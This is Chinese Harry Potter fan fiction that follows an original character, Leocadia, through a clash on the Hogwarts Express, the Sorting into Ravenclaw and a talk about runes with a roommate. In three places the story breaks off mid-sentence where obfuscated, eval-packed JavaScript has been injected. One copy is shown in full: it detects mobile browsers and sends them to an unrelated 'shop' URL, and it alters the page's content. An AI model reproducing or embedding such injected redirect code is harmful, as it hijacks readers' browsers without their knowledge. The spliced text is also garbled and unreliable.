“没错,”莉莉从背后抱住莱奥卡蒂亚,锁住她的四肢,女王一样命令道,“来,你给她灌下去。” 斯内普习以为常地拔掉木塞,手劲极大地捏开莱奥卡蒂亚烫呼呼的腮帮子,捏开她的牙关,手疾眼快地把一瓶退烧药水灌下去。 要是这时候有人进来,一定会被这不太友好的一幕吓到。 但车厢里一共就四个人,两个实施“恶行”,一个是被强行灌药的,另一个人安静地看着窗外,气氛总体来说相当和谐。 莱奥卡蒂亚:“咕噜噜…咳咳咳!救命啊——!” 斯内普灌完药就抱臂坐到了她们对面:“她又做了什么让你生气的事了?” 他和艾琳三天前就回了普林斯庄园,收拾收拾东西准备上学。艾琳联系旧友,他整理藏书室和材料仓库,几乎没有时间和朋友们联系。 “她这几天惹我生气的时候还少吗?她瞒着我跟你有那~么~多小秘密。”莉莉冷酷无情地松开莱奥卡蒂亚,“活该,谁让你一口气吃了三盒冰激凌。” 啊,这是说他跟莱奥背着她去找纽特摸龙,还是偷偷学高年级咒语不带她? 又或者是喝增龄剂后偷偷去翻倒巷? 斯内普想说这些算什么?真正的秘密你还不知道呢,你要知道半年前这人还隔三差五吐个昏天黑地还吐出血,肯定得原地化身火龙。 换了新发型的莱奥卡蒂亚双耳冒烟,把滚烫的脸埋在莉莉的肩窝里,搂着她的脖子熟练地撒娇:“好莉莉,我错了,我不应该……” “嘿!你一个男生别靠在女生身上撒娇!”好不容易用阿拉霍洞开打开隔壁车厢门的詹姆怒气冲冲地再次出现,指着莱奥卡蒂亚,“说你呢!生病怎么了?自己贴着墙降温去!” 莉莉、斯内普:不是,这人有病吧? 莉莉生气地搂紧莱奥卡蒂亚:“这位先生,我想这和你没关系,莱奥是我的朋友,朋友之间想做什么都可以,而我并不认识你。” “莉莉,我想这位先生是把莱奥认成你的‘男朋友’了,而显然,他对你很有好感。”斯内普似笑非笑,但眼睛里直喷怒火。 “……啊?我?”莱奥卡蒂亚伸出一只手,指指自己的脸,昏昏沉沉大脑不知道怎么运作的,竟然嘿嘿傻笑起来,“莉莉是我女朋友?嘿嘿,太好啦!莉莉你什么时候跟我回意大利见祖父?我祖父应该会同意我和你……欸不对,我是女生啊……没关系,女生也可以结婚!” 斯内普板起脸:“不可以。你能不能清醒点?” “好好好,可以结婚,放假有时间就去。”莉莉随口答应,又皱着鼻子看向詹姆,“这位先生,我不知道你对我的好感是从哪来的,显然我暂时没心情和时间和你打招呼,请你和你的朋友出去。” 无辜被赶的西里斯踹了兄弟一脚。 詹姆一听这个“Leo”是个女生,顿时厚着脸皮朝莉莉笑:“哎呀,我忘了自我介绍了,我叫詹姆,詹姆·波特,我旁边这个是西里斯·布莱克。我们两个都是纯血。” 莉莉抿一下唇,觉得对方既然自我介绍了自己也得礼貌一点:“我是莉莉·伊万斯,父母是普通人。” 斯内普完全没有自我介绍的意思,警惕又不爽地瞪着这两个不请自来的家伙。 “原来如此。但你别误会,我跟西里斯和那些天天把血统挂在嘴上的家伙不一样,我是真心想跟你做朋友的!”詹姆拍着胸脯保证。 “哦。”莉莉干巴巴地点头。 “行了詹姆,别丢人现眼了,没看见你喜欢的姑娘对你没兴趣吗?”西里斯懒洋洋地靠在门边,“喂,那个‘Leo’,你是意大利人?衣服不错,手上的戒指应该是印章?但我可没听说意大利有什么有名的纯血家族。” 莉莉立刻护犊子一样挡在莱奥卡蒂亚面前:“她在发烧,你能不能别问她太多问题?!” 詹姆见女神生气,赶忙拉西里斯的衣服:“西里斯!” 西里斯才不理他们,只是若有所思地打量莱奥卡蒂亚的五官:“我觉得你更像日耳曼人,那些德国佬最近可是很不安分的。你怎么不去德姆斯特朗?是因为英国的这位神秘人吗?他的魅力就如此之大,大到你千里迢迢从德国过来亲吻他的袍角?” 莉莉尖声打断他:“嘿!你在说什么呢?!” 这下连斯内普都坐不住了,魔杖从袖子里露出一个尖:“请你安静点,布莱克先生,这里没人欢迎你的无端揣测和不友善,如果你再不离开我就会‘请’你离开。” 西里斯直接拔出魔杖,直指斯内普的鼻子:“没人跟你说话,阴森森的小子,你能不能别老是插嘴?” 詹姆大惊:“喂,西里斯!你今天这是怎么了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“莱奥卡蒂亚·萨卢佐,‘莱奥’是我的昵称,同时也是勇气的意思,没人规定它专属于男性。”莱奥卡蒂亚慢慢收回魔杖,“而且我只对没教养的人用没教养的态度。” 西里斯用“行行行好好好”的眼神斜她一眼:“行吧,萨卢佐,看好你的马仔,别让他在不该说话的时候说话。” “我不认为西弗说了什么不该说的,你才是一直在这里说不该说的话的那个人。”莱奥卡蒂亚冷淡地说,“他作为我的朋友,如果在你冒犯我的时候还一言不发,那他就不是一个合格的朋友,只是一个唯唯诺诺的马仔。” 詹姆觉得她在内涵自己,顿时恼了:“嘿!你说谁呢?!我只是不跟女生一般见识!” “谁搭话我说谁。还有,女生怎么了?我一个可以打你们两个。” 莱奥卡蒂亚烦躁地坐回莉莉身边,熟练撒娇:“头疼。” 莉莉瞪了一眼门口两个没礼貌的家伙,轻柔地给她按揉太阳穴,温声安抚:“喝了退烧魔药是会有副作用的,你靠着我睡一睡,到校之前我会叫你起来换衣服的。” 莱奥卡蒂亚低声嘟哝:“在外面套件袍子就好了,霍格沃茨晚上好冷的。” “好好好,再让西弗给你用保暖咒。” 斯内普横了一眼还傻站在门口的两个人,手指轻弹,车厢门擦着他们的鼻子,“唰”得关上,反锁。 一直安静当背景板的第四个人轻轻出声:“漂亮的无杖无声咒,不愧是萨卢佐小姐的朋友。” 深棕色头发的男孩抽出自己的魔杖,给车厢门加上锁门咒和隔音咒,徒留外面两个人无能狂怒。 斯内普和莉莉如临大敌,莱奥卡蒂亚却连眼皮都没掀开。 “亚德里安·特拉弗斯,没关系,他是我的人。”这个说法似乎有点歧义,莱奥卡蒂亚换了个说法,“他是28家族中特拉弗斯家的继承人,跟我混。但在学校里我们最好假装不认识他。” “是的,因为家父和叔叔效忠于神秘人,而祖父和我选择了一位明主。”棕发蓝眼的男孩微微鞠躬。 莱奥卡蒂亚昏昏欲睡:“行了,别说这些没用的……你们慢慢聊……” 话音未落,就睡眠质量很好地睡了过去。 剩下莉莉和斯内普跟不怎么熟的亚德里安面面相觑。 亚德里安温和一笑,靠在窗边闭目养神,完全没有和他们搭话的意思。 莉莉和斯内普对视一眼,斯内普拿出魔药书来看,莉莉则拿出魔杖来练习无声漂浮咒。 嗯,没了讨厌的家伙,这里的气氛还是很好的。 31.分院 莱奥卡蒂亚打着呵欠给自己套上霍格沃茨的校袍,低头打量自己这黑不拉漆的一身,撇了撇嘴。 莉莉打开车厢门,让外面的两个男孩进来:“到你们了。” 她拉着莱奥卡蒂亚在过道里等男孩们换衣服,拿出一只巧克力蛙给她:“刚刚你睡觉的时候西弗买的。” 莱奥卡蒂亚接过来,打开盒子后手疾眼快地捉住蠢蠢欲跳的青蛙,胡乱塞进嘴里,一边嚼嚼嚼一边抽出卡片:“好吧,是阿不思。” 莉莉打量她吃巧克力蛙的熟练度,又在小本本上记了一笔“和西弗偷吃巧克力蛙不带我”,轻哼:“我的是梅林,要不我们换?” “我不要,直接给你啦。这种东西对我来说只是书签。”莱奥卡蒂亚拨拨脸颊两侧的鬓角,“收集齐了也没什么用,而且这种巧克力偏甜,我还是喜欢吃家里做的巧克力。” 这里的“家里”指意大利。 莉莉翻动着邓布利多的卡片,被莱奥卡蒂亚这么一说也有点馋:“我也想吃,那种果酱夹心的巧克力真的好好吃。” 莉莉特别喜欢一种橙子果酱夹心的,巧克力软软的,一口咬下去,橙子的清香和适中的甜度能让人回味一整天。 佩妮也很喜欢,在得知这是萨卢佐厨师学院巧克力专业的学生们研究出来的新品后,她似乎开始努力学意大利语了。 顺带一提,莱奥卡蒂亚和斯内普都喜欢不那么甜的黑巧克力。 “那我让家里多做一点送过来。”莱奥卡蒂亚掏出怀表看看时间,“都六点了,希望分院能快一点,我想睡觉。” 莉莉则在畅想未知的分院仪式:“艾琳阿姨说,分院仪式是让四种颜色的小鸟选择小巫师去哪个学院,格兰芬多是红色,斯莱特林是绿色,赫奇帕奇是黄色,而拉文克劳是蓝色。” 莱奥卡蒂亚沉默,决定不戳破艾琳给莉莉编制的美好童话。 “这不对,伊万斯,我爸爸说分院仪式是让一顶会说话的帽子追着我们咬,打赢它的进格兰芬多,躲在后面的进斯莱特林,钻到桌子底下的去赫奇帕奇,在旁边喋喋不休的去拉文克劳。” 旁边的车厢里钻出一个乱糟糟的傻笑脑袋。 莱奥卡蒂亚直接挡在莉莉面前:“那你大可以看看我进哪个学院。” “别这样,萨卢佐,我以为我们已经是朋友了。”詹姆·波特嬉皮笑脸,“看来你是个格兰芬多,我的意思是,格兰芬多是霍格沃茨最好的学院。” “你跟她废话什么,”一只手拽着丢人现眼的兄弟,“看她的打扮和作风,再看看她的戒指和那块表,她八成是去斯莱特林,她跟那群蛇崽子绝对很有共同话题,财富啦血统啦,对吧?” 莱奥卡蒂亚翻了个白眼:“你们这群搞刻板印象的白痴。我绝对不会跟你们去同一个学院。” 西里斯捏着嗓子重复:“‘我~绝~对~不~会~跟~你~们~去~同~一~个~学~院~’哈!搞得我好像很想看见你一样!装腔作势的意大利贵族。” “Petrificus Totalus.” 斯内普在他们身后面无表情地放下魔杖。 詹姆惨叫起来:“西里斯!我想想怎么解咒……等等,你念的这个咒语是什么啊?!” 莱奥卡蒂亚遗憾地啧啧:“我还想用Tarantallegra(塔朗泰拉舞)让他从车尾跳到车头呢,免费踢踏舞表演没了,真可惜。” 斯内普对此表示无语:“你大可以自己解咒。” 莱奥卡蒂亚叹气,食指在魔杖上轻敲一下。 西里斯一个趔趄,差点摔倒。 “统统石化?”他龇牙咧嘴地揉着脑袋,眼神阴鸷,“哈,又是一个只会背后偷袭的斯莱特林。” 詹姆附和:“两个斯莱特林!伊万斯你最好离他们远点!” 然后他们就手挽着手,从车尾跳踢踏舞跳到了车头。 莉莉放下魔杖:“刚刚听你念咒时现学了一下。这么一看我的咒语念得还是蛮标准的。” 莱奥卡蒂亚仗着自己现在比莉莉高,故作欣慰地摸摸她的头发:“是啊是啊,我们莉莉也长大了呢。” 莉莉一拳锤在她肚子上。 * 下车后,火车阵阵蒸汽中,一个老熟人举着马灯大声招呼一年级的小朋友们跟自己走,在看到三个眼熟的“小毛毛”后还朝他们眨眼。 “一年级的新生!跟上我!我们去湖边坐船!快一点孩子们,你们的新生活马上就要开始啦!” 莉莉和莱奥卡蒂亚咬耳朵:“我没想到是海格来接我们。” “是海格来也很正常,他不是禁林的管理员吗?而且他的体格看上去也挺有威慑力的,总不可能是阿不思亲自来吧?”莱奥卡蒂亚现在不是很想看见他。 个老蜜蜂,把格兰芬多吹得天花乱坠的,试图哄骗可爱小女生成为狮崽子,可现在看来,要是波特和布莱特那种人也能进格兰芬多……她就绕着格兰芬多走。 ……咦?等等,是“布莱克”还是“布莱特”?Any way,不重要,反正是个没礼貌的路人。 莱奥卡蒂亚挽着莉莉,和斯内普、亚德里安上了同一条船。看起来那个波特贼心不死地想跟上来,莱奥卡蒂亚冷哼,决定一定要保护好莉莉。 夜晚的黑湖和白天的黑湖没什么区别,深沉不见底,质量和英国其他地方的水质一样,让人怀疑里面到底有没有动物生存。 嗯,其实是有的。 “海格说黑湖里住着人鱼,马形水怪。不是安徒生童话的美人鱼,是一种魔法生物,长相差强人意。”莱奥卡蒂亚把莉莉凑到船边的身体拉回来。 莉莉有点失望:“可是童话书上的美人鱼都是很漂亮的。” “那是海里的美人鱼,纽特在加勒比海附近发现的一支少数族裔,阿不思还特意去了一趟,问她们愿不愿意来黑湖。”莱奥卡蒂亚耸肩,“阿不思说她们虽然漂亮,但是可凶了。” 斯内普的关注点很歪:“她们身上有可以入药的部分吗?” 莱奥卡蒂亚震惊:“好想法,我没问,但你想对美丽的大姐姐们做什么啊?真是个恐怖的家伙。” 斯内普愤愤:“这是学术问题!” 莱奥卡蒂亚狐疑地看他两眼,说出情报:“好吧,加勒比海上有不老泉的传说,用庞塞德莱昂的两只金杯装上泉水,其中一只加人鱼的眼泪,喝下加眼泪的那一杯,就能愈合伤口,以及获得另一个人的生命。” 邓布利多说这话的时候还庆幸不老泉已经被毁了。 “听起来很像凤凰眼泪的效果。”斯内普若有所思。 莱奥卡蒂亚觉得这人没在想什么好事。 同样是在夜晚观察,霍格沃茨城堡在月色下愈发巍峨,如传说中顶天立地的巨人,俯瞰着每一个人。 下船的时候,斯内普和亚德里安先下,斯内普伸出两只手,让莱奥卡蒂亚和莉莉扶着他上岸。 莱奥卡蒂亚非常不屑,抓住船舷,表演了一个单手前空翻。 然后因为踩到鹅卵石差点滑倒。 斯内普早有预料地抓住她的领子:“我刚想说你的落点有石头,体操女王。” “谢谢,魔药天才,下次麻烦你晚点说,这样我就能摔个大马趴。”莱奥卡蒂亚很快站好,有点惊奇,“你力气大了好多欸?是找女士偷偷加练了吗?” 斯内普顾左右而言他:“赶紧跟上,你不是要早点睡觉吗?” 莱奥卡蒂亚挽着莉莉急急忙忙跟上大部队。 斯内普快步跟上,长袍下摆在风中翻卷,像一团墨色的云雾。 莱奥卡蒂亚指他:“莉莉,我从没见过像西弗一样适合穿黑色的人。” 莉莉赞同:“是呀,不过仔细想想,倒不如说黑色的衣服不容易看出来被魔药烫出来几个洞。你见西弗的袖子什么时候没有破洞过?” 莱奥卡蒂亚苦恼:“也是哦,可惜了,西弗这么白,我觉得他还蛮适合红色和粉色的。” 她兴奋提议:“可以来点粉红嬉皮士或者邪恶巫师的经典烟熏妆!” 莉莉想象了一下,笑出了眼泪:“哈哈哈哈哈!那样好奇怪啦!嬉皮士西弗勒斯哈哈哈哈哈!邪恶巫师倒是真的有可能。童话里的邪恶巫师不都是西弗这样的吗?哈哈哈哈哈!” “绝对是!”莱奥卡蒂亚跟她笑作一团。 斯内普幽幽抱怨:“我听得见。” 她们的说话声吸引了人群另一头的詹姆。男孩痴痴看着整个人洋溢着生机和快乐的莉莉,一颗心在胸膛里不甘乱跳。 西里斯疯狂摇晃詹姆的脖子:“你醒醒啊!” 刚刚是纳西莎给他们解咒的,西里斯被她骂了个狗血淋头,至少半个小时内他是不想再去招惹莱奥卡蒂亚的。 又走了许久,走过霍格沃茨城堡下高高的台阶,走过巨大的门,一位严肃的黑袍女巫接替海格的工作,领着他们走进一处小房间。 她站在木门前,严肃的让所有人安静,简要说了句欢迎,又介绍了四个学校的名字。 最后,她半是提醒,半是告诫:“在校期间,学校就是你们的家,表现好,就能为学院加分,反之,也会扣分。到了年终,哪个学院得分最高,就能赢得学院杯。” 随后她不再多说,挥舞魔杖,她身后巨大的木门缓缓敞开。 莉莉捏进了莱奥卡蒂亚的手:“好紧张好紧张好紧张!” 莱奥卡蒂亚说了句废话:“别紧张。” 但斯内普看上去也好不到哪去,小脸煞白——不对他本来就白——仔细看去还在不明显地吞咽。 好嘛,两个小伙伴都阵亡了。 莱奥卡蒂亚悄悄握住斯内普的手,一手一个,和他们一起走进礼堂。 一进礼堂,莱奥卡蒂亚就看见了教师席上笑眯眯的邓布利多。 新生们穿过两张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368919|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长桌之间的过道,站定在教师席前。 邓布利多站起来,说了一些注意事项,就请带着他们进来的黑袍女巫——麦格教授进行分院仪式。 莉莉看到那顶灰扑扑的帽子开始唱分院帽之歌时天都塌了:“……呜呜,没有小鸟了。” 而且它唱歌真的好难听! 莱奥卡蒂亚顿时摩拳擦掌:“要可以分院的小鸟是吧?等着,我给你做。” 斯内普看起来镇定,实际上已经失神好一会儿了。 莱奥卡蒂亚好歹安抚一句:“放心,你一定能去斯莱特林。就像我一定能去拉文克劳。” 斯内普有被她笃定的语气安慰到。 詹姆比西里斯先上去,蹦蹦跳跳地落座,分院帽还没彻底挨上他的脑袋,就大喊一声“格兰芬多”。 轮到西里斯的时候,分院帽纠结了好一会儿,把他分去了格兰芬多。 斯莱特林那边一片哗然,大概是觉得西里斯作为布莱克家的继承人跑去格兰芬多纯纯是脑子有病。 一个漂亮的金发斯莱特林学姐看起来快气炸了,她身边那个同样是金发的美青年似乎在低声安慰她。 莱奥卡蒂亚小声且坚定的宣誓:“打死我我都不去格兰芬多。” 斯内普深以为然地点头。 接下来是亚德里安,斯莱特林,毫无疑问,莱奥卡蒂亚看到有几个高年级的斯莱特林站起来欢迎他。 看起来特拉弗斯家混的还不错。 一个个学生走上去,很快就轮到了莱奥卡蒂亚。 莱奥卡蒂亚轻快地走上前,不动声色得看了一圈教师席上的熟人们,坐到椅子上。 “嗯,嗯~”分院帽的声音在她脑子里响起,“还是你的思维里舒服,能随时烤火,真好。邓布利多总是把我放在桌子边,那里真的很冷的。” 莱奥卡蒂亚很凶:“搞快点,你每磨蹭一秒钟我就少睡一秒钟。” “好吧,好吧,让我们看看……你真的不去格兰芬多?虽然我是分院帽,但我也是格兰芬多的帽子,还是得推荐自家创始人的学院的。” “不去,我要去拉文克劳。再废话就真的烧了你。” “真凶。”分院帽抱怨,然后大喊,“拉文克劳!” 麦格教授把分院帽拿开,莱奥卡蒂亚前往拉文克劳长桌后找了一个离莉莉和斯内普最近的位置,在学长学姐们的欢迎声中看了一眼教师席。 嗯,弗利维教授笑得跟天上掉金加隆一样。邓布利多在坚持自己老谋深算的老校长的设定,实际上已经开始发酸了。 哼哼,我可不会心疼一把年纪的老头子。 按照字母顺序,下一个是斯内普。 如莱奥卡蒂亚所言,他去了斯莱特林。 他们俩就坐在长桌最前端,侧着身就能挤眉弄眼,还能坐着陪莉莉。 “莉莉·伊万斯。” 莉莉狠狠捏了一下莱奥卡蒂亚伸过来的手,大步走上前。 莱奥卡蒂亚捂着有点痛的手手,隔着过道跟斯内普讲话:“赌一个加隆,格兰芬多。” “这怎么赌?我也觉得莉莉会去格兰芬多。”斯内普不情不愿地说。 果然,他话音刚落,莉莉就被分去了格兰芬多。 斯内普看上去更郁闷了。 莉莉坐到离西里斯和詹姆最远的位置上,兴奋地侧身和他们打招呼。 等最后一个女生坐到莱奥卡蒂亚旁边,邓布利多站起来。 “现在,请大家尽情享受晚宴!” 他挥手。 长桌上的空盘子瞬间被丰盛的菜肴填满。 坐在莱奥卡蒂亚旁边的新生——莱奥卡蒂亚记得她叫潘多拉·齐瑟——她和莱奥卡蒂亚一样是金发的,只是颜色更浅——用梦游似的语气赞美了一种莱奥卡蒂亚没听过的生物。 莱奥卡蒂亚掐指一算,这一届拉文克劳一共就五个人,其中只有她和潘多拉两个女生,剩下的三个都是男生。 严重失调的新生比例让莱奥卡蒂亚不免有些忧心。万一跟其他学院发生冲突,她虽然擅长打群架,但也不能一挑十啊。 “你们好,姑娘们,看来今年就只有你们两个住一间寝室了,好在拉文克劳的女生寝室都是两人间。”女级长很热情的自我介绍,“我是米里森·巴格诺,五年级级长,有什么事都可以问我。” 潘多拉还沉浸在自己的世界里,而莱奥卡蒂亚只有一个问题:“拉文克劳休息室里的藏书真的很多吗?” 米里森眨眨眼,然后恍然大悟:“是的,当然,非常多,很多拉文克劳直到毕业都看不完。但有一位学姐只花了六年就全部看完了,她可是后来所有拉文克劳的榜样。当然,也是我的榜样。” “我知道她,”莱奥卡蒂亚欢快地啃了一大口鸡腿,朝她竖起大拇指,“费德丽卡·维西佩尔,她是我妈妈。” 只要你喜欢我妈妈,我们就是好朋友! 32.新朋友,们 米里森和莱奥卡蒂亚相谈甚欢,从费德丽卡喜欢吃什么聊到费德丽卡的“小爱好”。 “母亲的魔杖一直都是同一根,”莱奥卡蒂亚澄清,“十三又二分之一英寸,冬青木,独角兽尾毛。” “我听说她夺走的上一根魔杖来自一个阿尔巴尼亚巫师,”男级长——安东尼·约翰逊不知道什么时候加入了聊天,兴冲冲地说道,“他们说那根魔杖是用龙骨做的!” 莱奥卡蒂亚茫然:“真的假的?母亲没说过啊?” 那可是龙骨啊!龙骨欸!母亲竟然不给我看!太可恶了,不喜欢她一秒钟! 安东尼尴尬地笑笑:“哈哈,这个,我也是听说的。” 人家亲女儿都没听过这件事,那有可能也不是真的。 莱奥卡蒂亚倒是不介意这个,就算现在有个人告诉她当年是费德丽卡让阿尔伯特怀孕,她是从阿尔伯特肚子里蹦出来的……这种事她也不是不能接受。 “其实我们都很好奇维西佩尔学姐当面嫁给谁了,我爸爸说那些年追求她的人可以绕霍格沃茨城堡三圈。”一个学姐凑过来,目光灼灼地观察莱奥卡蒂亚的五官,“你像日耳曼人,标准的金头发,你父亲是德国人?” “那倒不是,我是意大利人,我祖父和爸爸都是意大利人。”莱奥卡蒂亚挖着覆盆子酱布丁,“我爸爸是普……麻瓜,考古学家,家里只有我和母亲是巫师。” “哦,混血,拉文克劳倒是不在意血统,只看能力。”米里森不甚在意地绕开这个话题,“好了姑娘们男孩们,晚宴时间快结束了,还有什么问题我们留着慢慢问,让莱奥卡蒂亚把她的布丁吃完吧。” “你可以叫我莱奥,家里所有人都这么叫我。”莱奥卡蒂亚终于吃到了一口布丁,浓浓的家的味道,看来她让邓布利多拿给家养小精灵们的萨卢佐食谱发挥了重大作用。 “好呀,你也可以叫我米里森。”米里森愉快地笑起来,“感谢梅林,我竟然是维西佩尔学姐的女儿的级长!我要写信告诉我妈妈!” 晚宴结束,莱奥卡蒂亚拿出怀表看时间,九点,不算晚,到了寝室还能好好休息。 她跟在米里森的身后,看了一眼莉莉那边,嗯,很好,跟一个女生相谈甚欢,波特没有一点沾边的可能。布莱特——布莱克狠狠瞪过来,莱奥卡蒂亚平移视线,把他当空气。 斯内普那边……好像混得也不错?那个金灿灿的马尔福级长似乎很看好他。估计是知道他是普林斯家的继承人。 她捏捏耳坠,耳朵上的紫水晶耳钉其实是一副炼金作品,能压制她的摄魂取念以及“感知型读心术”,尼可·勒梅和邓布利多联合出品。 效果极佳,只要戴上,在不和别人对视的时候,她就能享受一个安静且没有味道的人际交往环境。 男级长在带他们去公共休息室时喋喋不休地说着拉文克劳的杰出人物,米里森偶尔出言补充,显然她的讲解更能吸引人。但莱奥卡蒂亚对他们说的没兴趣,她只想睡觉。 不过门上那只青铜鸦环的炼金工艺让她稍微振作了一点精神。 “——刚刚我介绍过,这只鸦环会向每个敲门的人提问,只要你回答对了问题,它就会为你开门。”安东尼清清嗓子,上前敲门,“让我们看看今天的问题是什么。” 鸦环在新生们的注视下抖抖翅膀。 “是什么让一捧清泉、一簇火焰、一缕柔风、一块巨石生生不息?让它们迈入永恒?”* 米里森挑眉,没过几秒就知道了答案,但她没有说出来,而是让新生们试试。 “拉文克劳善于学习,你们很快会学会享受鸦环设置的挑战。拉文克劳们站在公共休息室门口,试图一起解答当天的提问,这并不是罕见的事。现在,谁想试试?” 虽然是鼓励所有新生都尝试一下,但米里森的目光一直放在莱奥卡蒂亚身上。 “炼金术四元素,如果要构成基础炼金阵这四大元素必不可少。燥、湿、冷、热交替循环,理解特性后将物质分解再构筑。同时四大元素只是催化剂和基本条件,按照元素论的观点,它们——元素只参与循环,总量是不变的,随着运转和流动达到永恒。” 莱奥卡蒂亚还在琢磨能不能搞一只鸦环的复制品,回答得漫不经心。这是基础炼金术原理,要是连这都答不出来,她还不如回去上学前班。 “好极了,完美的回答!”米里森欢快地鼓掌,“我要动用级长加分的权利为你的回答加两分。” 在新生们敬佩的眼神中,开学第一天,莱奥卡蒂亚就为自己学院拿到了宝贵的两分。 挺好。 拿到学院杯会有什么奖励吗?比如秘林一日游或者一本学长笔记?不会什么奖励都没有吧? 那还挺抠。 莱奥卡蒂亚环视公共休息室里的装饰和摆件,心想。 作为唯二的女生,莱奥卡蒂亚和潘多拉分到了一间宿舍。 两人间,很宽敞,一左一右两张床,配套两个床头柜,一个衣柜,一张梳妆台,一张带着小书架的书桌。房间正中用一张公共圆桌隔开两个区域。四柱床上系着的床幔和床品都是蓝色系的,被子上印着拉文克劳的院徽。 房间两侧没有窗户的角落放了一面绣着老鹰的蓝底屏风,有一个樱桃木衣架——简易版更衣间。 看起来盥洗室是两人合用的,这倒是没关系,莱奥卡蒂亚在这方面没有洁癖。 行李摆在床脚的地上,莱奥卡蒂亚认出了她的箱子,看来她的床在进门左手边,而潘多拉在她打量环境的时候已经摇摇晃晃地走向自己的床了。 抽出魔杖轻挥,箱子依次打开。 贴身衣物最先飞出来,排着队滚进抽屉里。长风衣、裤子、裙子转着圈飘入衣柜,叠好的衬衫和裤子按照莱奥卡蒂亚的习惯,深色放一边,浅色放一块,颜色在三种及以上的飘进衣柜最里层。 十双不同的鞋子茫然地转了一圈,没找到鞋架,莱奥卡蒂亚只好把其中一双玛利亚硬塞进来的高跟鞋变成五层的木制鞋架,放在衣柜旁边。鞋子们不会因为同伴的缺少而哀悼,它们只会欢天喜地住进“新家”。 接着是她的书、手稿、炼金材料、五花八门的用来装半成品的盒子。空荡荡的书架很快就被填满了,但东西还在源源不断地飞出来。 小小一个手提箱显然不应该装得下这么多东西,但谁让莱奥卡蒂亚认识一位使用无痕延展咒的大师? 她这两年练习最多的就是无杖无声的无痕延展咒,虽然比不上纽特,但一定可以超过大部分巫师的水平了。 莱奥卡蒂亚想了想,把一个空盒子变作一个漆黑的大木柜,放在衣柜旁边,用来装一些必须避光保存的材料和半成品。 ……两分钟后,她不得不给大木柜用了好几个无痕延展咒。 正在收拾床铺的潘多拉突然和莱奥卡蒂亚搭话:“我刚刚看见了你的怀表,表盖上的暗纹是组合如尼文吗?” 莱奥卡蒂亚一惊,把最后一个盒子扔进木柜才转头:“是,我自己组合的,意思是‘保护’。你也对如尼文有研究吗?” 潘多拉点头,莱奥卡蒂亚发现她的眼睛是一种漂亮的灰蓝色:“我看见了‘gebo’‘wunjo’和‘kenaz’,你的组合很有决心。” 莱奥卡蒂亚愉快地把怀表取下来递给她:“你说得不错,实际上还可以拆分出‘thurisaz’‘nauthiz’‘raidho’‘inguz’和‘othila’。” 潘多拉飘渺的眼神锐利起来:“原来你是拆分派?所以一共8个?这个组合符文你是用藤蔓和叶片的形状展现的……是葡萄藤?一般来说有家系的巫师会选用家徽上的植物,但用葡萄藤的家徽我还没见过。” “是的,因为我比较在乎细节,也在乎美观。用葡萄藤跟家徽没关系,只是因为它在希腊神话中代表酒神狄奥尼索斯,象征热情、连结、丰饶与自由。同时向上攀藤的性质可以让它构成捕捉元素的牢笼或者盾牌,一定程度上可以抵挡一些小的恶咒和诅咒。”莱奥卡蒂亚热情解释。 潘多拉颇受启发的样子,点点头:“潘多拉·齐瑟。” “莱奥卡蒂亚·萨卢佐。” “其实我自己也在研究符文,但我是日常用语派。”潘多拉翻箱倒柜找出来一个笔记本,坐在圆桌边翻动,“像这一句,意思就是‘看见的人将获得一份奇迹’。” 莱奥卡蒂亚也坐下来:“我懂了,简化日常派,你只用了两个符文。” “因为太多了不好记录,许多人也看不懂。”潘多拉有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“谢谢。”潘多拉大方收下,“但似乎只能两个人用,如果要跟第三个聊天,就得用其他的羽毛笔。” “是啊,所以是随手做的。以及我在进行一个新项目,但只有一个雏形。你有兴趣听一听吗?莉莉和西弗——我的两个朋友——他们对炼金术没兴趣。”莱奥卡蒂亚双手合十,“拜托了,我真的很需要良好的讨论对象和环境。” “当然可以。但我想你要说很久,不如我们先收好东西,再洗漱一下,然后慢慢聊?”同样作为研究者的潘多拉显然知道像她们这类人可以多么滔滔不绝,因此很明智的提议道。 “好耶!”莱奥卡蒂亚飞快跳起来,“我东西都收好了,洗漱也很快。你的东西还没收完?那你先收,我去洗漱!” 潘多拉大惊:“你已经收好了?!” “我教你一个魔咒,速速规整(Pack)”莱奥卡蒂亚分享了咒语,“我在家就这么收拾屋子的。” 接下来她们友好的分享了许多东西,包括一些简易的家用小魔咒(莱奥卡蒂亚提供),一种魔法植物叶片做成的茶(潘多拉提供),一张手工编织的很保暖的毯子(潘多拉提供),来自意大利的护肤品(莱奥卡蒂亚提供),一张床(还是莱奥卡蒂亚提供)。 “在床上的时候我往往更有思路。” 莱奥卡蒂亚振振有辞,同时把枕头变大,让她和潘多拉能同时舒舒服服地靠在上面。 “你有没有想过在一些核心炼金阵上用现代咒语?”潘多拉捧着暖呼呼的杯子提议。 “不可否认现代魔咒确实便捷,炼金术的思维也在时时革新,但古代魔文从一开始就能防止一些水平不到位的学生偷偷搞出大动静——这是教我的老师说的。”莱奥卡蒂亚喝了一口魔药茶,感觉有点怪又有点好喝,再喝一口,“但有时候用古代魔文会更有……我想想那个词还怎么说,泛用性,对,泛用性。” “解释起来就是,古代魔文更容易兼容魔法材料和炼金阵。如果要用现代魔咒达到稳固数百年甚至数千年的魔法效果还是挺难的,就像一些特殊效果的羽毛笔或者魔法糖果,它们的魔法都有保质期、时效性,超过一定时间就会消失。” 